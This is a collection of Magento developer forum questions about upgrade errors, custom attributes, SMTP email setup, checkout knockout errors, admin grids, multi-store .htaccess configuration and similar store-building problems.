texts: Magento 2.3.4 error after setup:upgrade command

texts:
Fatal error: Uncaught ReflectionException: Class Magento\Framework\App\ResourceConnection\Proxy does not exist in /var/www/html/magento2/vendor/magento/framework/Code/Reader/ClassReader.php:26 Stack trace: #0 /var/www/html/magento2/vendor/magento/framework/Code/Reader/ClassReader.php(26): ReflectionClass->__construct('Magento\\Framewo...') #1 /var/www/html/magento2/vendor/magento/framework/ObjectManager/Definition/Runtime.php(54): Magento\Framework\Code\Reader\ClassReader->getConstructor('Magento\\Framewo...') #2 /var/www/html/magento2/vendor/magento/framework/ObjectManager/Factory/Dynamic/Developer.php(48): Magento\Framework\ObjectManager\Definition\Runtime->getParameters('Magento\\Framewo...') #3 /var/www/html/magento2/vendor/magento/framework/ObjectManager/ObjectManager.php(70): Magento\Framework\ObjectManager\Factory\Dynamic\Developer->create('Magento\\Framewo...') #4 /var/www/html/magento2/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php(167): Magento\Framework\ObjectManager\ObjectManager->get('Mage in /var/www/html/magento2/vendor/magento/framework/Code/Reader/ClassReader.php on line 26

Everytime I use command:

bin/magento setup:upgrade

I had the error. After this command I use:

bin/magento setup:di:compile
bin/magento setup:static-content:deploy -f
bin/magento cache:flush

And site is working again.
Magento 2.3.4 installed on VPS server 4GB RAM, 50GB SSD. System is Ubuntu 18.04 using Nginx and Percona 5.7 and Elasticsearch 6.8.8 on same server. My php.ini configuration:

memory_limit = 2G

max_execution_time = 3600

max_input_time = 1800

upload_max_filesize = 10M

zlib.output_compression = On

I am using developer mode in Magento 2.3.4. What Can I check ? I installed CustomChekout module, and on this VPS server got error:

knockout.js:3381 Uncaught TypeError: Unable to process binding "foreach: function(){return {data:currentBillingAddress().customAttributes,as:'element'} }"
Message: Unable to process binding "text: function(){return $parent.getCustomAttributeLabel(element) }"
Message: Cannot read property 'customer-email' of undefined

at UiClass.getCustomAttributeLabel (billing-address.js:258)
at text (eval at createBindingsStringEvaluator (knockout.js:2982), <anonymous>:3:72)
at update (knockout.js:4659)
at ko.dependentObservable.disposeWhenNodeIsRemoved (knockout.js:3373)
at Function.evaluateImmediate_CallReadThenEndDependencyDetection (knockout.js:2173)
at Function.evaluateImmediate_CallReadWithDependencyDetection (knockout.js:2140)
at Function.evaluateImmediate (knockout.js:2101)
at Object.ko.computed.ko.dependentObservable (knockout.js:1954)
at knockout.js:3371
at Object.arrayForEach (knockout.js:159)

Where could be a problem ?


texts: Can we use REST API built on WCF and ASP.net with Magento 2?

texts: Just for knowledge, will these APIs would be compatible with M2 and we use them in same way as we use other APIs designed for Magento 2? or there would be some other way to use them ?


texts:
I added new attribute

  src/app/code/local/PACK/MODUL/sql/pack_modul_setup/mysql4-upgrade-2.1.6-2.1.7.php :

<?php

$installer = $this;
$installer->startSetup();

$installer->addAttribute('catalog_product', 'passhub_contract', array(
    'group'             => 'Pass',
    'sort_order'        => 50,
    'type'              => 'string',
    'frontend'          => '',
    'label'             => 'PassHub Contract Holder',
    'input'             => 'text',
    'input_renderer'    => '',
    'class'             => '',
    'global'            => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
    'frontend_model'    => '',
    'visible'           => true,
    'required'          => false,
    'user_defined'      => true,
    'default'           => '',
    'searchable'        => false,
    'filterable'        => false,
    'comparable'        => false,
    'option'            => array(),
    'frontend_class'    => 'validate-number',
    'visible_on_front'  => false,
    'unique'            => false,
    'apply_to'          => Mage_Catalog_Model_Product_Type::TYPE_VIRTUAL,
));

$installer->addAttribute('catalog_product', 'passhub_contract_id', array(
    'group'             => 'Pass',
    'sort_order'        => 50,
    'type'              => 'int',
    'frontend'          => '',
    'label'             => 'PassHub Contract Holder ID',
    'input'             => 'text',
    'input_renderer'    => '',
    'class'             => '',
    'global'            => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
    'frontend_model'    => '',
    'visible'           => true,
    'required'          => false,
    'user_defined'      => true,
    'default'           => '',
    'searchable'        => false,
    'filterable'        => false,
    'comparable'        => false,
    'option'            => array(),
    'frontend_class'    => 'validate-number',
    'visible_on_front'  => false,
    'unique'            => false,
    'apply_to'          => Mage_Catalog_Model_Product_Type::TYPE_VIRTUAL,
));

$installer->endSetup();

At the admin panel it's ok. But if I try

  $product = Mage::getModel('catalog/product')->load('product_id');

I haven't it. Where is my mistake?
$product->getAttributeText('passhub_contract'); also doesn't work.


texts: How to enable magnifier on iPad in Magento2?

texts:
I want to enable magnifier in iPad device, this is my view.xml code:

<var name="magnifier">
   <var name="fullscreenzoom">20</var>  <!-- Zoom for fullscreen (integer)-->
   <var name="top">53</var> <!-- Top position of magnifier -->
   <var name="left">790</var> <!-- Left position of magnifier -->
   <var name="width">412</var> <!-- Width of magnifier block -->
   <var name="height">338</var> <!-- Height of magnifier block -->
   <var name="eventType">hover</var> <!-- Action that atcivates zoom (hover/click) -->
   <var name="enabled">true</var> <!-- Turn on/off magnifier (true/false) -->
</var>

It working fine in desktop, but i want this in iPad device as well, How can i do it in ipad.?


texts:
I setup magento to use a SMTP server account to send emails.

I used the System->Configuration->Advanced->System->Mail Sending Settings and overwrote getMail() from app/code/core/Mage/core/Model/Email/Template.php as described here.

public function getMail()
      {
           if (is_null($this->_mail)) {
               /* changes begin */
             $my_smtp_host = Mage::getStoreConfig('system/smtp/host');
             $my_smtp_port = Mage::getStoreConfig('system/smtp/port');
             $config = array(
                       'port' => $my_smtp_port,                                              'auth' => 'login',
                       'username' => 'email@domain.com',
                       'password' => 'yourpassword'                                               );
            $transport = new Zend_Mail_Transport_Smtp($my_smtp_host, $config);
            Zend_Mail::setDefaultTransport($transport);
            /* Changes End */
            $this->_mail = new Zend_Mail('utf-8');
        }
        return $this->_mail;
}

Now to the question: How do I send the newsletter using second smtp account (same mail server)?

I would like to use 2 accounts at the same time. One for newsletter and one for everything else like support, order, ...


texts: display scoll bar for more categories in catalog search box in magento

texts:
in home page on top, you can see " All categories and there is a dropdown button"

if you hover mouse on the dropdown button, you can see some 50 categories. i want to restrict

that 50 to 10 and to see next 40 , customer have to use scrollbar.

demo example : http://www.amazon.in

please help me to find solution.

thanks in advance.


texts: Finding what exactly privilege is absent for "Access denied"?

texts:
I'm using a custom options extension that, on the Catalog > Manage Products page, enables me to select a few products and provide a source product ID and it will copy the custom options from the source product to the selected products.

It's working fine for Administrator accounts who is a Role with Resource Access to All. However, it keeps giving "Access denied" errors for accounts that's not Administrators, even so for accounts with a Role who has Resource Access set to Custom with ALL Resources selected. This is really weird.

My question is how can I find the exact privilege this extension needs to perform its job? Is there any exception logs this "Access denied" error would write to so I know what the exact privilege it needs and so I can probably modify its code to give it or work around the privilege?

My site has various catalog editors and it's obviously not wise to give them Administrator privileges with Resource Access to All.

What are my options in case of a problem like this?


texts: Search in a custom grid is redirecting to a 404 page?

texts:
I have a custom grid that shows all the CMS Blocks. When I use the search bar in the grid to filter out a title it redirects me to a 404 page. Is there something wrong with my grid to cause the redirect to an unknown page?

Also, not sure if it matters but this is happening on Enterprise Edition 1.12. I have another instance that is EE-1.13, which this is not an issue.

class TP_CustomApp_Block_Adminhtml_Glcmsblock_Grid extends Mage_Adminhtml_Block_Widget_Grid {

      public function __construct() {
        parent::__construct();
        $this->setId('glcmsblockGrid');
        $this->setDefaultSort('entity_id');
        $this->setDefaultDir('DESC');
        $this->setSaveParametersInSession(true);
        $this->setVarNameFilter('product_filter');
      }

      protected function _prepareCollection() {
        $store =  $this->getRequest()->getParam('store', '');
        Mage::getSingleton('core/session')->unsObjectType();
        Mage::getSingleton('core/session')->setObjectType(‘cms/block’);
        $collection = Mage::getModel('cms/block')->getCollection()->addStoreFilter($store->getId());
        $this->setCollection($collection);
        return parent::_prepareCollection();
      }

      protected function _prepareColumns() {

        $this->addColumn('title', array(
            'header' => Mage::helper('cms')->__('Title'),
            'align' => 'left',
            'index' => 'title',
            'width' => '25%',
        ));

        $this->addColumn('identifier', array(
            'header' => Mage::helper('cms')->__('Identifier'),
            'align' => 'left',
            'index' => 'identifier',
            'width' => '20%',
        ));

        …

        return parent::_prepareColumns();
      }

      public function getGridUrl() {
        return $this->getUrl('*/*', array('_current' => true));
      }

      public function getRowUrl($row) {
        return '"';
      }

      protected function _prepareMassaction() {
        $this->setMassactionIdField('entity_id');
        $this->getMassactionBlock()->setFormFieldName('gl_block_ids[]');
        $this->getMassactionBlock()->addItem('add', array(
            'label' => ‘Do some stuff’,
            'url' => $this->getUrl('*/*/massAdd'),
        ));
        return $this;
      }

}

Controller:

class TP_CustomApp_Adminhtml_GlcategoryController extends Mage_Adminhtml_Controller_Action {

  public function indexAction() {
    $this->loadLayout();
    $this->_setActiveMenu(‘MyApp/do_something’);
    $this->renderLayout();
  }

  public function gridAction(){
    $this->loadLayout();
    $this->getResponse()->setBody(
        $this->getLayout()->createBlock('MyApp/adminhtml_glcategory_grid')->toHtml()
    );
  }

  public function filterAction() {
    $post = $this->getRequest()->getPost();
    $radio = $post['filter'];
    Mage::getSingleton('core/session')->unsCategoryFilter();
    Mage::getSingleton('core/session')->setCategoryFilter($radio);
    $store = $post['store_id'];
    if ($store != '') {
      $this->_redirect('MyApp/adminhtml_glcategory', array('_query' => array('store' => $store)));
      return $this;
    }
    else {
      $this->_redirect('*/*');
      return $this;
    }
  }

  public function massAddAction() {
    $post = $this->getRequest()->getPost();
    $selected_category_ids = $post['gl_category_ids'];
    if (count($selected_category_ids) > 0) {
      // do some stuff with the ids
      return $this;
    }
    else {
      Mage::getSingleton('adminhtml/session')->addError('Please select a record.');
      $this->_redirect('*/*');
      return $this;
    }
  }

}


texts: Magento 2 if category show this block breaking the product page

texts:
i'm using below in detial-layout.phtml to show different blocks on product page based on the category ID:

<?php $objectManager = \Magento\Framework\App\ObjectManager::getInstance(); ?>
<?php   $category = $objectManager->get('Magento\Framework\Registry')->registry('current_category'); ?>
<?php if($category->getId()==11): ?>
<?php echo $block->getChildHtml('men.shoes.static.block') ?>
<?php endif; ?>

But it is breaking the product page and displaying only the product image / gallery.


texts: Resolving CONNECT ERROR in magento connect manager

texts:
I am getting the following Error while installing a package in magento using "Magento Connect Manager" :

Checking dependencies of packages
CONNECT ERROR: Failed to open file var/package/tmp/package.xml

I have tried removing connect.cfg and cache.cfg from the downloader folder. Tried refreshing and login out. Infact I tried almost everything. But still the same problem.
I am stuck on this problem for hours, not able to do install any package.


texts: How to build custom theme with page and static blocks in Magento2?

texts:
I am trying to create custom theme with inbuilt Cms pages and Blocks? For example once the theme files moved and installed can able to see all the blocks and pages are created in magento.

I followed below link
https://www.cloudways.com/blog/create-custom-theme-magento-2-part-1/

Which is for overriding luma theme but not able to Preview the theme with content.

How can we create theme with full package along with slider, Blocks and widgets like the Paid themes?
For example in this Url: https://www.hiddentechies.com/bizkick-responsive-theme-magento-2.html

Once we buy we will get full package with all pages,blocks and widgets. How we can create like this exactly from scratch? Please anyone suggest with links or with step by step Guide,

All i need is i am going to create two custom themes, so page,and blocks are different for each theme.

So whenever a,theme is applied in admin, those page content should show in frontend.. Thanks


texts: Error when compile file custom.less to custom.css in Magento 2.1 [solved]

texts:
I have file custom.less

.page-header {
  margin: auto;
}

.brand-logo {
  display: block;
  text-align: center;
  position: absolute;
  left: 50%;
}

I use comment php -dmemory_limit=6G bin/magento setup:static-content:deploy --theme="TeeStyleUs/default" to compile file custom.less

Expect file custom.css is:

.page-header {
  margin: auto;
}

.brand-logo {
  display: block;
  text-align: center;
  position: absolute;
  left: 50%;
}

Actual file custom.css is:

.page-header{margin: auto}

Something is wrong! Please help me!

[SOLVED]
Remove in pub/static/frontend/<theme> and var/view_preprocessed/frontend/<theme>.


texts: how to create shoe sizes attributein magento with UK, US and EU sizes

texts:
I have a magento Website , I need to upload the shoes of different sizes . I have created 10 simple products and then connected to a configurable product.
The front end needs to display sizes of EU, US and UK. Check the below link for
 reference.
https://en-ae.namshi.com/buy-hey-dude-moka-classic-lace-up-slip-ons-for-women-slip-ons-105341.html


texts: Magento Sub-Menus and checkout not working

texts:
I would really appreciate it if someone could help me.

I have a website for a client which is gsstickerman.co.uk

I have a bit of a mojor issue as there sub menus dont show and when you hover over the checkout there's no popup. I tried disabling extensions with no luck. The CSS/JS Files are NOT merged either and the compiler is disabled.

I know its a hard one but I have no idea what could be causing this, is there anything anyone can think of which could cause this.


texts: How to Update a Configurable Attribute by Javascript

texts:
On this website there is a very clear explanation how I could trigger the configurable product dropdowns when I use jQuery.

But when I do this:

..
var element=$('attribute140');
spConfig.configureElement(element);
..

I get this JS error: TypeError: spConfig is undefined.

UPDATE:
This is the noconflict code:

<script src="//ajax.googleapis.com/ajax/libs/jquery/2.0.0/jquery.min.js"></script>
<script type="text/javascript">
    jQuery.noConflict();
    var spConfig = new Product.Config(<?php echo $this->getJsonConfig() ?>);
</script>
<script language="javascript">
    var magentoAttrColor = 140;
    jQuery(document).ready(function() {
    ...

And when I do:

<script type="text/javascript">
    jQuery.noConflict();
    var spConfig = new Product.Config(<?php echo $this->getJsonConfig() ?>);
    jQuery(document).ready(function() {
        alert('go');
    });
</script>

The alert box doesn't pop up.


texts: Why the total product price in the shopping cart does not include the different product options selected?

texts:
Here is the issue that happened since my Magento installation has been restored.
The shopping cart should normally include all the product options selected but since the restoration, only the product price is showing.

I put some screenshots below:

First screenshot is the product detail page, showing the Frame and its related price:

When you click on "Add to cart", it gets you through the product options selection process as you can see below. Price at the top shows 55$, which is the Frame value.

Once you click on "Next" you get into the Lens type selection, as shown on the next screen:

Price is updated after selecting "Transition Lenses", and is now including the price of this option as shown on the following screenshot:

On the following screenshot I selected an option for Saturation, and the price is now showing 225$, including this last option.

I get into the shopping cart page after clicking on "Add to Cart". As you can see on the next picture the prices related to product options selected are not included in the total price. Price in shopping cart only considers the Frame price.

It was working correctly before I had to restore the Magento backup.There may be a conflict somewhere in my Magento.
Does anyone have a solution for this issue?  Which file(s) should I actually check in my Magento installation?

Thanks for your help.

Cheers,


texts: show certain products in a category on home page in magento 2

texts:
I added a widget on a homepage and selected a categories from a drop down to include some items from a category (73)- I have 5 items to show up. I am not sure why but it only displays the 5 oldest products from that categories, anyways I can pick certain items to display or even show the newer items?
I tried to shows only certain SKU. by selecting SKU instead of Category from drop down, it works with one SKU but when I do multiple SKUs the widget doesnt work. is there something I am missing?

Thanks
Roger


texts: system config dynamic row change save style

texts:
Using tutorial I have managed to add dynamic rows with 2 column:
1 - Customer Group
2 - Price for customer
Both fields showing in system config and saving as well.
issue is when I check in database it is showing like:
{"_1611305135170_170":{"customer_group_id":"32000","price_for_customer":"23"},"_1611305140170_170":{"customer_group_id":"1","price_for_customer":"444"}}.
When I checked system configuration for minimum allowed qty at Store > Configuration > Catalog > inventory > Minimum Qty Allowed in Shopping Cart, it is saving values in  database like:
{"0":1,"3":20,"2":3}
How can I achieve same save technique ?
Thanks in advance!


texts: What is the Sql Code to update my entire product catalog for a unique attribute?

texts: I uploaded product catalog and need a method via sql to change the status of an unique attribute that have installed. {"use_external_image"  to yes}. So all the images can show on the page.


texts: Magento 2: argument type error on compilation

texts:
I have compilation issue in my module. While I am running command php bin/magento setup:di:compile facing this issue in magento 2.1.8. It's showing this error:

Incompatible argument type: Required type: \Magento\Framework\Data\Collection\AbstractDb. Actual type: \Magento\Framework\Model\ResourceModel\AbstractResource;

Here is my file:

<?php
namespace Namespace\Mkt\Model;

use Magento\Framework\App\Helper\AbstractHelper;
use Magento\Store\Model\StoreManagerInterface;
use Magento\Framework\ObjectManagerInterface;

/**
 * Fancyfeedbacktab fancyfeedback model
 */
class Orderapi extends \Magento\Framework\Model\AbstractModel
{
    /**
     * @param \Magento\Framework\Model\Context $context
     * @param \Magento\Framework\Registry $registry
     * @param \Magento\Framework\Model\ResourceModel\AbstractResource $resource
     * @param \Magento\Framework\Data\Collection\Db $resourceCollection
     * @param array $data
     */

    public $scopeConfig;

    public function __construct(
        \Magento\Framework\Model\Context $context,
        \Magento\Framework\Registry $registry,
        \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
        \Magento\Framework\Model\ResourceModel\AbstractResource $resource = null,
        \Magento\Framework\Data\Collection\AbstractDb $resourceCollection = null,
        array $data = []
    ) {
        $this->scopeConfig = $scopeConfig;
        $storeScope = \Magento\Store\Model\ScopeInterface::SCOPE_STORE;
        $this->host=$this->scopeConfig->getValue(self::XML_PATH_HOST_KEY, $storeScope);
        $this->clientId=$this->scopeConfig->getValue(self::XML_PATH_CLIENT_ID, $storeScope);
        $this->clientSecret=$this->scopeConfig->getValue(self::XML_PATH_SECRET_KEY, $storeScope);
        //parent::__construct($context, $registry, $ScopeInterface, $resource, $resourceCollection, $data);
    }
}


texts: Load Custom Template file with argument as product id or sku in magento2

texts:
I have created a custom module and calling that template file from the CMS page as like below.

 {{block class="Vendor\Module\Block\Custom"    template="Vendor_Module::custom.phtml"}}

In templates/custom.phtml

I am fetching the all the products with attribute filters.

I am getting product collection and displaying in my template.

<?php
  $collection = $block->getCustomCollection();

  foreach($collection $product) {
   $productName = $product->getName();
   $productPrice = $product->getPrice();
   $productUrl = $product->getProductUrl();
   $productId = $product->getProductId();
  ?>

<?php echo $productName; ?>

<?php echo $productPrice; ?>

<a href="<?php echo // How to redirect this product to custom template with product Data ?>"><?php echo $productName; ?>

 <?php } ?>

Here my question is I need to redirect the Url to my custom template by passing product ID or SKU as arguement to implement add to cart functionality. not to the default product page.

How i can load custom product detail page in this way. Can i get the product data in my custom template here.

Once I get the product data in my custom template, I will fetch the corresponding product information and show it in the page.

Right now it will go to default product detail page. if i provide href as $productUrl

Can anyone help me please. Thanks


texts: What's the difference between an user defined attribute and non user defined attribute?

texts:
I have an customer attribute defined as follows:

$customerSetup->addAttribute(Customer::ENTITY, "attr_code",  [
            "type"     => "varchar",
            "backend"  => "",
            "label"    => "Attribute Label",
            "input"    => "text",
            "source"   => "Magento\Eav\Model\Entity\Attribute\Source\Table",
            "visible"  => true,
            "required" => false,
            "default"  => "",
            "frontend" => "",
            "unique"   => false,
            "note"     => "",
            'system'   => 0,
            'user_defined' => true
]);

My question is: what's the difference on the attribute if I set user_defined to false? And in which situations I should set user_defined to true or false?


texts: Mini Cart item count give wrong value in Magento1

texts:
I am using Magento1.9.2.4.
I remove the minicart from header and insert it in customer footer phtml file, As the work of remove and insert has been done by XML.

Mini cart is working fine, the only issue is that Count on mini cart are wrong, If I disable BlockHTML cache the counts are showing accurate.

I am using Porto theme, I did the below:
my theme's layout local.xml:

<default>
        <reference name="header">
          <action method="unsetChild"><name>minicart</name></action>
        </reference>

        <reference name="footer">
          <action method="insert"><block>minicart</block></action>
          <action method="setTemplate"><template>page/html/custom_footer.phtml</template></action>
       </reference>
</default>

My custom_footer.phtml file:

<a href="<?php echo $cart; ?>">

        <?php
        echo $this->getChildHtml('minicart'); //MiniCart
        ?>

    <?php echo ""; ?>
    <?php echo $this->__('Cart') ?>

Suggest how can I fix it.


texts: Does any one knows, how to create or use CRON to activate Maintenance mode in Magento? any sample script or reference will help.


texts: Magento 2.3.5 Estimate Shipping should be apply on Subtotal (Incl.tax)

texts:
We're in trouble for a few days.
After upgrade to the latest Magento 2.3.5, we got an issue in estimate shipping calculation on the cart page.
Actually shipping takes value Subtotal (Excl. Tax) for calculation but we need to apply on Subtotal (Incl. Tax).
Table Rate Import file setting: Shipping should be 0 (zero) when price greater 40
From below image shipping should be 0 (zero)

Please check the admin store configuration changes.
Shipping Display Setting

Tax Calculation Setting

Table-rate Setting

Table-rate import file price Setting


texts: Product attributes in navigation and in product tab

texts:
Sorry for the vague title. I will try and explain what I am looking for. I am designing a site for a garden nursery and have set up a product attribute group containing things such as 'Plant height', 'Spread', Soil Type' etc, the sort of things that you would normally filter plants with.

Some attributes are of more pertinence to customers in some categories of plants than others.

So an example of what I am trying to do is as follows: 'Spacing' is an important attribute to products in the 'Vegetables' category so I would need it in the layered navigation and the product description 'More Info' tab - so far so good.

But it's not as an important attribute for products in the 'Soft Fruit' category, so I wouldn't want to include it in layered navigation, but I would want to include it in the product description 'More Info' tab though.

Is there a way of doing this without having to create 6 separate 'Spacing' attributes for each main category?

TIA.


texts:
I want to stop magento sending new order email in some cases.

I want to know from the community how to debug and backtrace the function that really send the order email confirmation email.

I've this event :

<sales_order_place_after>
                <observers>
                    <xx_yy_Model_sales_observer>
                        <type>singleton</type>
                        <class>xx_yy_Model_Sales_Observer</class>
                        <method>save_order</method>
                    </xx_yy_Model_sales_observer>
                </observers>
            </sales_order_place_after>

And in my save_order function i do this :

try{
            $order->setEmailSent(1);
            $order->setStatus("holded");
            $order->save();
        }
        catch(exception $e){
            Mage::log('Non inoltra ordine', 1,'orders.log');
            Mage::log($e->getMessage(),1,'orders.log');
        }

But i still receive the new email order.
I'm trying to debug core_email_template_mailer and core_email_template but seems that the email is not sent from there.

any help could be appreciated!!


texts: Offering a free gift with purchase of a particular product type

texts:
We need to the ability to provide customers who purchase a particular product type (attribute type) a free type of gift with that product.

The products offered as a free gift are associate products of a configurable product. They need to be linked so that when this free gift is selected, it deducts from this SKU's quantity in inventory.

There are about 100 of these types of products that will be offered as a free gift - so ideally presenting the options in a dropdown menu would be preferred.

We've checked out about 10 'free gift extensions' now for Magento (and can't find any more) and none of them can do what we want or are wrote appallingly. They mostly auto add products at cart based on a rule like total amount. They're all limited in functionality and offer mininal to no flexibility.

I'm unable to add this as a configurable option due to the setup.

I can create them as a custom option but then they do not link up with the actual product SKU's and deduct from quantity in inventory.

Can anyone advise of an extension that can do this or the best way to implement this ability? It's looking more and more likely that we'll have to write our own extension to do this but find it hard to believe there would not be something out there that does this already.


texts: How to add time range picker to adminhtml form in Magento 2?

texts:
In Magento 2's devdocs pages there is an example of
time range picker.

But ,i can not find any examples of how to add it in my backend form for creating/editing of custom model.
Have anyone any idea of how to do this?

Also ,i have a question on how to save it in mysql database. Do this picker needs 2 fields ("from" and "to") to store entered time?


texts: The Guest user email is not displaying in Sales ->orders tab when he/she is in General group.I am using magento CE 1.9

texts: when a customer is checking out as guest and by default he/she goes into General group.But his email is not showing up Sales -> Orders tab .


texts: Magento 2 WYSIWYG Media image url missing

texts:
I have inserted image in product description using this code

after insert completed i saved it. thats's fine working good.

After saving done I clicked showhide editor but is showing

    <img src="{{media url="

showing this simple code only please any one know help me how to fix


texts: How to modify input-text class in the login- page to change font?

texts:
I'm trying to change the font to Arial on the login text input and at the same time remove the all cap style.

Under ../app/design/frontend/<YOUR_THEME>/Magento_Customer/templates/form/
I can see

<div class="control">
<input name="login[username]"
   value="<?php echo $block->escapeHtml($block->getUsername()) ?>"
   id="email" type="email" class="input-text" title="<?php echo __('Email') ?>"
   data-validate="{required:true, 'validate-email':true}" placeholder="<?php echo __
('Email')
?>">

however I don't know where I to modify input-text class or if this is even the correct thing to do to change the font for this field?

Thanks in advance.


texts: What is the difference between a Simple and Virtual Product?

texts:
I am trying to upload a Product on our Magento 2 Back End. This is a ring and it has different variances.
I know I start with "Add Product" I complete all the other steps and underneath the Configurations Tab I click "Create Configurations" I then select Ring Sizes, I then select my Sizes, skip bulk price upload and Bulk Image upload and then in the 4th step I say Create Configurables.
After Saving my Product and then searching for it, I get the Mother Product (Configurable Product) and then all the different sizes - BUT the sizes come up as Virtual Products and comparing it to our other products, the different sizes should be simple products.
Can someone please help :|


texts: How do I ensure the profit column in the magento standard order report deducts the product cost from the order.   I have entered cost price information in the catalog but the profit figure being displayed is the same as the revenue figure


texts: Update Product programmatically - Invalid method Magento\Eav\Model\Entity\Attribute::isScopeGlobal

texts:
I have a quite simple piece of code (reduced it to that):

try {
    $newProduct = $this->productRepository->get($productData['sku']);
    echo 'Loaded.' . PHP_EOL;
    $savedProduct = $this->productRepository->save($newProduct);
} catch (\Magento\Framework\Exception\NoSuchEntityException $e) {
    echo 'Saving failed; product does not exist. ' . $e->getMessage() . PHP_EOL;
    // $newProduct = $this->productInterfaceFactory->create();
} catch (\Exception $e) {
    echo 'Just some other problem: ' . $e->getMessage() . PHP_EOL;
}

and it outputs this:

Loaded.
Just some other problem: Invalid method Magento\Eav\Model\Entity\Attribute::isScopeGlobal

... I have no clue why this could happen. Any ideas?


texts: Magento 2 : How to update loaded product collection in ProductList Block

texts:
I tried to update with addAttributeToFilter() but not working.

Here it is::

protected function _getProductCollection()
    {
        if ($this->_productCollection === null) {
            $layer = $this->getLayer();
            /* @var $layer \Magento\Catalog\Model\Layer */
            if ($this->getShowRootCategory()) {
                $this->setCategoryId($this->_storeManager->getStore()->getRootCategoryId());
            }

            // if this is a product view page
            if ($this->_coreRegistry->registry('product')) {
                // get collection of categories this product is associated with
                $categories = $this->_coreRegistry->registry('product')
                    ->getCategoryCollection()->setPage(1, 1)
                    ->load();
                // if the product is associated with any category
                if ($categories->count()) {
                    // show products from this category
                    $this->setCategoryId(current($categories->getIterator()));
                }
            }

            $origCategory = null;
            if ($this->getCategoryId()) {
                try {
                    $category = $this->categoryRepository->get($this->getCategoryId());
                } catch (NoSuchEntityException $e) {
                    $category = null;
                }

                if ($category) {
                    $origCategory = $layer->getCurrentCategory();
                    $layer->setCurrentCategory($category);
                }
            }
            $this->_productCollection = $layer->getProductCollection();

            $this->prepareSortableFieldsByCategory($layer->getCurrentCategory());

            if ($origCategory) {
                $layer->setCurrentCategory($origCategory);
            }
        }
        $productIds=$this->getProductId($this->_productCollection);

        $this->_productCollection->addAttributeToFilter('entity_id', ['nin' => $productIds]);
        return $this->_productCollection;
    }
   public function getProductId($collection)
   {
      foreach ($collection as $key => $value)
      {
         $this->product_id[]=$this->dataHelper->getRule($value->getId())
      // getRule() is custom method that return matched restricted product ids
      }
      $this->product_id = array_filter($this->product_id);
      return $this->product_id;
   }


texts: Magento Order emails and the core_email_queue table

texts:
A quick question regarding this. I'm running Magento 1.9.2.0

Does the core_email_queue table contents get truncated after each cron or does it just fill up? Or does it clear every 24 hours or anything like that?

I've my cron set to 5 mins and appear to potentially have the a lot of emails being sporadicly sent, and clients customers saying they haven't received, though admittedly every test I've performed has went through fine. The processed_at column is being populated etc with relevant times.

I've not sure if mines just stuck? Whats the best way to clear it if it is and what other tables should I do at the same time, is it best to truncate?.

Thanks in advance

Chris


texts:
I have three website to be uploaded on single server. The server admin has set it up as.

1) The main website to be put on root folder
2) two subfolders are made in which i have to put other two websites.

Domains have been redirected accordingly to subfolders. Now i have added following line of code into the htaccess file

## DirectoryIndex index.html index.php
SetEnvIf Host .*test1.* MAGE_RUN_CODE=safety
SetEnvIf Host .*test1.* MAGE_RUN_TYPE=store
SetEnvIf Host .*test2.* MAGE_RUN_CODE=onestop
SetEnvIf Host .*test2.* MAGE_RUN_TYPE=store
SetEnvIf Host .*test3.* MAGE_RUN_CODE=royalview
SetEnvIf Host .*test3.* MAGE_RUN_TYPE=store

I uploaded this htaccess to the root folder. It is automatically directing it to the sub folders.

Now the problem is when I installed websites test2 and test3. It’s not working properly. In test1 it is not loading the CSS. When I try to access CSS file directly it’s giving me 500 Internal Server Error

Same is with test3. Here the CSS is loading but images aren't. It’s giving the same error while accessing directly.

I have set proper permissions for all folders and files, so there is no issue with permissions.

I think there is an issue with htaccess.

Can anyone guide me through this?


texts: How to add new product in Magento 2.1 by Rest API?

texts: I read this page http://devdocs.magento.com/swagger/index.html, but I couldn't find any API for adding new product to website.


texts: How can add a block to layout, if there is a CMS Block exist in the layout?

texts:
So here is the situation. I need to create a core/template block programmatically, if there is CMS Block(Static Block) is present in layout structure. I will use this template to add some content to it dynamically.

If there is any observer for static blocks, I may use it. Another option would be, I can achieve the same through layouts, if there is static block specific layout handle is there (just like cms_page layout handle).

But I couldn't find any observer for static blocks yet. So I can't go with observer. I also look for any static block specific layout handle. That search also made me desperate. I couldn't find one. So the layout updation is also not possible.

So it seems to be the only way that I can achieve this is, to observe any general events(May be controller_action_layout_generate_blocks_after). But I feel it is too bad way..

So what should I do now ?  What would be the best method to do this? Can I need to create a custom event listener for static blocks (I don't know whether it is possible !!)? Share your thoughts.

Note : I am creating an extension. I want it as clean as possible. :)


texts:
How to change field name in Invoice generated by magento {In Mail & PDF}
For Example i want to change the field name (Example I want to change the SKU name to PRODUCT code) in the email Print/PDFs generated by magento.
 I got the solution for the front end  I had changed the Field name SKU to PRODUCT CODE every where in customer Account  ... His invoice and View Order But m not able to change the same in Email and Print PDF.
i am Attaching an image for proper understanding for my Question


texts: Magento 1.9 Newly created Bundle Products missing in Catalog_Product_Index_Price

texts:
This is involved. When I reindex all products but newly created products show up in catalog_product_index_price table (i'm mentioning this one given it does include cataloginventory_stock_status_idx and all other index tables). New products are showing in cataloginventory_stock_status_idx but the stock status is set to 1 (all other products that are working have a stock status of 0).

1. What is the cataloginventory stock status value suppose to tell me?

There are no errors when I reindex any of the indexes. Also if i try something like:

$_category->getProductCount();

On the category related to these newly created bundle products it returns 0. This is related because the actual, getProductCount(), function is pulling from an index collection. I don't totally think its the indexing given that the catalog is indexed correctly. It seems like it is happening to new products only.

2. Conceptually, what could cause a BUNDLE product from being indexed? What Should I look for?

Would greatly appreciate Short, sweet and to-the-point responses.


texts:
We are having a KO error with our minicart in Magento 2.1

The error we are seeing is :

knockout.js:3012 Uncaught ReferenceError: Unable to process binding "attr: function (){return {
                       id:'cart-item-'+item_id+'-qty','data-cart-item':item_id,'data-item-qty':qty,'data-cart-item-id':product_sku} }"

  Message: product_sku is not defined

Does anyone know how this can be resolved?


texts: Object DOMDocument should be created error in magento 2

texts:
I created a credit card form under custom payment method  by following
this link

I'm getting a  sytem.log error

[2019-02-06 06:22:10] main.CRITICAL: Class VendorName\Worldpaydirect\Model\
Source does not exist [] []

  di.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
